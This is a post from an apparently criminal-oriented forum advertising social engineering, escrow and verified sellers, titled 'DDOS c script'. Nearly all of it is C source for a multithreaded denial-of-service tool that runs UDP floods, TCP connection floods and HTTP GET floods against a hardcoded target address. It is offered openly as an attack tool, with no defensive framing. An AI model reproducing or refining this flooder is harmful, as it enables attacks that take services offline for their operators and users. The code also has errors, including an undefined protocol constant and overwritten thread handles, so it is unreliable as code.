Welcome to the Off-Shore Club

The #1 Social Engineering Project in the world since 2004 !

DDOS c script

Gold

ROOT

SENSE!
Verified Seller
Instructor
USDT(TRC-20)
$0.0
Code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>

#define TARGET_IP "192.168.1.100"
#define TARGET_PORT 80
#define NUM_THREADS 100

void *volumetric_attack(void *arg) {
    int sock = socket(AF_INET, SOCK_DGRAM, PROTOCOL_UDP);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(TARGET_IP);
    addr.sin_port = htons(TARGET_PORT);

    char payload[1024] = {0};
    memset(payload, 'A', sizeof(payload) - 1);

    while (1) {
        sendto(sock, payload, sizeof(payload), 0, (struct sockaddr *)&addr, sizeof(addr));
    }

    close(sock);
    return NULL;
}

void *tcp_attack(void *arg) {
    int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(TARGET_IP);
    addr.sin_port = htons(TARGET_PORT);

    while (1) {
        connect(sock, (struct sockaddr *)&addr, sizeof(addr));
    }

    close(sock);
    return NULL;
}

void *application_attack(void *arg) {
    int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(TARGET_IP);
    addr.sin_port = htons(TARGET_PORT);

    connect(sock, (struct sockaddr *)&addr, sizeof(addr));

    char request[] = "GET / HTTP/1.1\r\nHost: " TARGET_IP "\r\n\r\n";
    send(sock, request, strlen(request), 0);

    close(sock);
    return NULL;
}

int main() {
    pthread_t threads[NUM_THREADS];

    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_create(&threads[i], NULL, volumetric_attack, NULL);
        pthread_create(&threads[i], NULL, tcp_attack, NULL);
        pthread_create(&threads[i], NULL, application_attack, NULL);
    }

    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_join(threads[i], NULL);
    }

    return 0;
}
 
Last edited:

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Friendly Disclaimer We do not host or store any files on our website except thread messages, most likely your DMCA content is being hosted on a third-party website and you need to contact them. Representatives of this site ("service") are not responsible for any content created by users and for accounts. The materials presented express only the opinions of their authors.
🚨 Do not get Ripped Off ! ⚖️ Deal with approved sellers or use RTM Escrow on Telegram
Gold
Mitalk.lat official Off Shore Club Chat


Gold

Panel Title #1

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

Panel Title #2

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Top